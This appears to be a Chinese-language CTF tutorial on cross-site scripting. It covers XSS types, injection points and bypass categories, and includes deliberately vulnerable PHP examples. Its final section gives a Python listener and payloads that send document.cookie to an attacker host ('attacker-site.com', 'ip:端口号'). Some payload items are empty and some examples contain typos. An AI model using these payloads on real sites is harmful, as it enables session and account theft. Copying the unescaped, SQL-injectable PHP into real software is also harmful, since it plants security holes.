XSS

XSS

简介

概念

1
跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的Web安全漏洞,攻击者通过在受害者的浏览器中注入恶意脚本来执行恶意行为。这种攻击通常利用Web应用程序没有对用户输入的数据进行足够的过滤和验证。

攻击原理

1
2
XSS跨站脚本攻击的原理是利用Web应用程序对用户输入数据的不足过滤和验证,将恶意脚本注入到受害者的浏览器中,使其在浏览器中执行。
攻击者通常会将恶意脚本嵌入到Web页面中的某个位置,比如输入框、评论框、搜索框等等,然后诱使用户访问这个被注入了恶意脚本的页面。当用户访问页面时,恶意脚本就会在用户的浏览器中被执行,从而执行攻击者预先设定好的恶意行为,比如窃取用户的Cookie信息、伪造用户的网站行为等等。

xss类型

反射型XSS:

非持久化,需要欺骗用户自己去点击链接才能触发XSS代码

  • 一般容易出现在搜索页面
  • 反射型XSS大多数是用来盗取用户的Cookie信息

一般就是题目给一个<input>标签形成的输入框,然后我们在输入框里输入我们的恶意脚本,需要用户进行触发才能进行攻击

  • 在前端输入恶意脚本
  • 后端接受
  • 然后再在前端显示
    这也就是反射型XSS的数据流通。

这种XSS攻击方式是最简单的一种XSS攻击方式,它需要用户手动触发才能执行。

在CTF中,反射型XSS算是比较常见的一种XSS攻击方式了,题目会给一个输入框,然后绕过过滤,执行恶意脚本

源码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<title>反射型XSS示例</title>
</head>
<body>
<h1>欢迎使用我们的网站!</h1>
<p>请输入您的姓名:</p>
<form>
<input type="text" name="name">
<button type="submit">提交</button>
</form>
<p>您好,<?php echo $_GET['name']; ?>!</p>
</body>
</html>

在接受name传参的值时,html页面是没有任何保护措施的,用户如果在这里执行了JavaScript代码,也会直接输出,从而进行XSS攻击

image-20240314080952890

存储型XSS:

持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码:

  • 如果没有过滤或过滤不严,那么这些代码将储存到服务器中
  • 用户访问该页面的时候触发代码执行
  • 这种XSS比较危险,容易造成蠕虫,盗窃cookie

一般是将恶意代码通过交互界面上传到后端,然后从而上传到数据库中,当管理员admin查询数据库的信息时,恶意脚本又从后端到了前端,这也就是存储型XSS的数据流通。

这种XSS攻击方式相比于反射型XSS更加容易进行攻击,它可以把恶意脚本存储在数据库,实现自动化攻击

一般在做CTF题目中的具体思路就是利用GETPOST或者抓包在RefererCookie的地方植入我们的恶意脚本

源码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html>
<head>
<title>存储型XSS示例</title>
</head>
<body>
<h1>欢迎使用我们的网站!</h1>
<form>
<p>请输入您的评论:</p>
<textarea name="comment"></textarea>
<button type="submit">提交</button>
</form>
<?php
// 处理评论表单的提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$comment = $_POST['comment'];
// 将评论存储到数据库中
$sql = "INSERT INTO comments (content) VALUES ('$comment')";
mysqli_query($conn, $sql);
}
?>
<h2>评论区</h2>
<ul>
<?php
// 显示所有评论
$result = mysqli_query($conn, "SELECT * FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
echo "<li>" . $row['content'] . "</li>";
}
?>
</ul>
</body>
</html>

如果我们在评论区尝试最基础的JavaScript代码,

1
<script>alert(hack)</script>

会成功弹窗

image-20240314081225266

DOM型XSS:

不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS

  • 这种XSS攻击是不经过后端的,也算是一种反射型XSS
  • 它的数据流通过程比较简单
  • 就是在前端url添加我们的恶意脚本,然后直接在页面输出了

xss攻击对象

所谓攻击对象,其实就是指我们的XSS最终插入到哪里

1.HTML注释内容

首先可以插入到HTML注释内容中:

源码示例

1
2
3
4
5
6
<!-- Evi1s7 -->
<!--
<script>
alert('XSS攻击成功!');
</script>
-->

我们可以利用闭合的方式从而插入HTML注释内容之中

2.HTML标签的属性值

  • 也插入到HTML标签的属性值中

源码示例

1
<script>slert('Evi2s7')</script><img scr="image.png"onerror="<script>alert("Evi1s7")<script>">

在这一段示例的代码中,可以看见我们将<script>恶意代码插入到了<img>标签的oneerror属性中,从而欺骗浏览器执行恶意代码

  • 当image图片无法显示时,会调用onerror属性,从而执行恶意脚本

3.HTML标签的属性名

  • 插入到HTML标签的属性名中:

源码示例

1
<input type="text" onclick="alert('Evi1s7')" name="><script>alert('XSS攻击成功!')</script>">

在这一段示例的代码,将恶意代码插入到了<input>标签中的name属性值中,我们可以利用闭合的方式将恶意代码插入到<input>标签中,实现XSS攻击

4.HTML标签名

  • 插入到HTML标签名中:

源码示例

1
< <script>alert('XSS攻击成功!')</script>img src="Evi1s7,png">

在这一段代码中,我们将恶意代码插入到<img>标签中,由于标签名被拆分成两部分

  • 浏览器会将第一个尖括号视为标签名的起始符号
  • 而第二个尖括号则是<script> 标签的起始符号
  • 导致浏览器误以为有两个标签被嵌套在一起,从而实现我们的XSS攻击

5.script,img,svg标签

  • 最简单的插入到script,img,svg标签中

源码示例

1
<script>alert(Evi1s7)</script>

6.CSS

  • 插入到CSS中

源码示例

1
<div style="background-image:url('javascript:alert(`Evi1s7`)');">

我们在background-image样式属性中插入了一段JavaScript url,当用户打开这一个页面时,会执行弹窗,浏览器会执行我们插入的java伪协议代码,从而执行恶意代码。

7.HTTP响应

  • 还可以插入到HTTP响应中

XSS的绕过方式

  1. 关键词绕过
  2. 编码绕过
  3. 空格绕过
  4. ()绕过
  5. 单引号绕过
  6. alert过滤绕过
  7. 长度限制
  8. 分号绕过
  9. 绕过CSP

XSS外带Cookie

简述

所谓XSS 的 Cookie 外带攻击就是一种针对 Web 应用程序中的 XSS(跨站脚本攻击)漏洞进行的攻击,攻击者通过在 XSS 攻击中注入恶意脚本,从而窃取用户的 Cookie 信息

  • 攻击者通常会利用已经存在的 XSS 漏洞
  • 在受害者的浏览器上注入恶意代码
  • 并将受害者的 Cookie 数据上传到攻击者控制的服务器上
  • 然后攻击者就可以使用该 Cookie 来冒充受害者,执行一些恶意操作,例如盗取用户的账户信息、发起钓鱼攻击等。

攻击方法及Payload

XSS 的 Cookie 外带攻击分为

  • 在输入框中注入恶意代码
  • 在 URL 中注入特定的参数或路径来触发
  • 其它方法
  1. 在输入框中注入恶意代码的方式可能包括:在评论框、留言框、搜索框等用户输入区域中插入可执行的 JavaScript 代码,或者在提交表单时篡改表单字段、注入恶意脚本等。当用户提交表单时,恶意代码被执行并将 Cookie 数据上传到攻击者的服务器上。
  2. 在 URL 中注入恶意参数或路径的方式通常包括:将包含恶意脚本的 URL 发送给受害者,或者将其嵌入到网站的页面中,并欺骗受害者点击该链接。一旦受害者点击了该链接,则可触发 XSS 漏洞,从而实现 Cookie 外带攻击。
  3. 其他的触发方式,包括:

通过恶意广告:攻击者可以将恶意脚本插入到广告代码中,然后在网站上显示这段广告。当用户点击该广告或鼠标移动到该广告区域时,恶意代码被执行,从而触发 XSS 攻击。

通过 CSRF 攻击:攻击者可以在已登录的用户浏览器中执行 CSRF(跨站请求伪造)攻击,并在攻击载荷中注入恶意 XSS 代码。当用户访问包含恶意代码的页面时,会触发 XSS 攻击。

通过文件上传:攻击者可以在 Web 应用程序中上传包含恶意脚本的文件,例如图片、文档或视频等。当用户下载并打开该文件时,恶意代码被执行,从而触发 XSS 攻击。

  • 在使用XSS语句将Cookie外带到攻击者IP地址前,需要在攻击机上起一个http协议,使得目标机能够将Cookie发送给该IP地址

启动HTTP协议 method1

  1. 使用文本编辑器(例如 Sublime Text、VS Code 等)创建一个新的 Python 文件。

  2. 导入 socket 库。socket 库是 Python 标准库的一部分,提供了网络编程相关的 API 和函数。

    1
    import socket
  3. 选择一个主机地址和端口号来监听连接请求。主机地址可以是 IP 地址或域名。你可以选择任何未使用的端口号作为监听端口。

    1
    2
    HOST = 'localhost'  # 或者使用本机的 IP 地址,如 '192.168.1.2'
    PORT = 8000 #或2023、2020
  4. 需要创建一个 socket 对象。可以使用 socket() 函数来创建一个 socket 对象,并指定协议族(例如 AF_INET),以及套接字类型(例如 SOCK_STREAM)。

    1
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5. 绑定主机地址和端口号到 socket 对象上。可以使用 bind() 函数来绑定主机地址和端口号。

    1
    server_socket.bind((HOST, PORT))
  6. 开始监听连接请求。可以使用 listen() 函数来开始监听连接请求。传入的参数表示最大等待连接数。

    1
    server_socket.listen(2)

综合起来,一个简单的启动 IP 地址的 Python 代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
解释import socket

HOST = '本机IP地址'
PORT = 2022

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 创建一个服务器套接字,使用 IPv4 地址族(AF_INET)和 TCP 传输协议(SOCK_STREAM)
server_socket.bind((HOST, PORT))
# 将服务器套接字与特定的主机地址和端口号进行绑定,以便客户端能够找到它
server_socket.listen(1)

print('等待客户端连接...')

# 接受客户端连接
client_socket, addr = server_socket.accept()
print('客户端已连接:', addr)

# 接收客户端发送的数据
data = client_socket.recv(1024)
print('接收到数据:', data.decode())

# 将接收到的数据原样返回给客户端
client_socket.sendall(data)

# 关闭客户端连接
client_socket.close()
# 使用 close() 方法关闭套接字并释放所有相关的资源;

# 关闭服务器套接字
server_socket.close()
# 使用 close() 方法关闭套接字并释放所有相关的资源。
  • 一旦有客户端连接,accept() 方法会返回一个新的客户端套接字和客户端地址信息(包括 IP 地址和端口号)
  • recv() 方法会阻塞程序,直到有数据可用或者超时,然后将接收到的数据作为 Python 字节对象返回。在本例中,客户端发送的数据最大为 1024 字节;
  • 将接收到的数据原样发送回客户端,使用 sendall() 方法向客户端套接字写入数据。

注意,sendall() 方法保证能够将所有数据发送出去,因此不需要循环调用其它方法来确保消息完整发送

接着,使用 Python 解释器来执行该文件。可以通过终端或命令提示符进入包含该文件的目录,并使用 python 命令后跟文件名来运行该文件,例如:

1
python test.py

其中,test.py 是 Python 文件的文件名。执行后,服务器将启动并开始监听指定的 IP 地址和端口号,等待客户端连接。

最后,在页面执行 XSS 的 Cookie外带攻击,使目标机向指定的IP地址发送Cookie,监听的端口即可接收。


启动HTTP协议 method2

打开python2终端输入:

1
python2 -m SimpleHTTPServer 8080(端口号)

打开python3终端输入:

1
python3 -m http.server 8080(端口号)

即可监听8080端口,接受XSS语句外带的Cookie


以下是一些常见的 XSS 的 Cookie 外带攻击语句:

  1. 利用 document.cookie 获取当前域下所有 cookie 的值:
  1. 将当前页面的 URL 和 Cookie 发送到攻击者的服务器:

<img src=”http://attacker-site.com/logger.php?url="+encodeURIComponent(document.location.href)+"&cookie="+encodeURIComponent(document.cookie)“ />

  1. 利用 XMLHttpRequest 对象发送 HTTP 请求,将 Cookie 数据发送到攻击者的服务器:
  1. 利用 window.location 对象向攻击者的服务器提交请求,附带当前页面的 URL 和 Cookie:
  1. 利用 document.write 返回页面中的Cookie,并将其拼接到目标URL中,作为参数发送到指定的 IP 地址和端口
  1. 通过 window.open 方法打开了指定的攻击机地址,并拼接、传递cookie

<img src=1 onerror=window.open(“">http://ip:端口号/?id="+document.cookie)>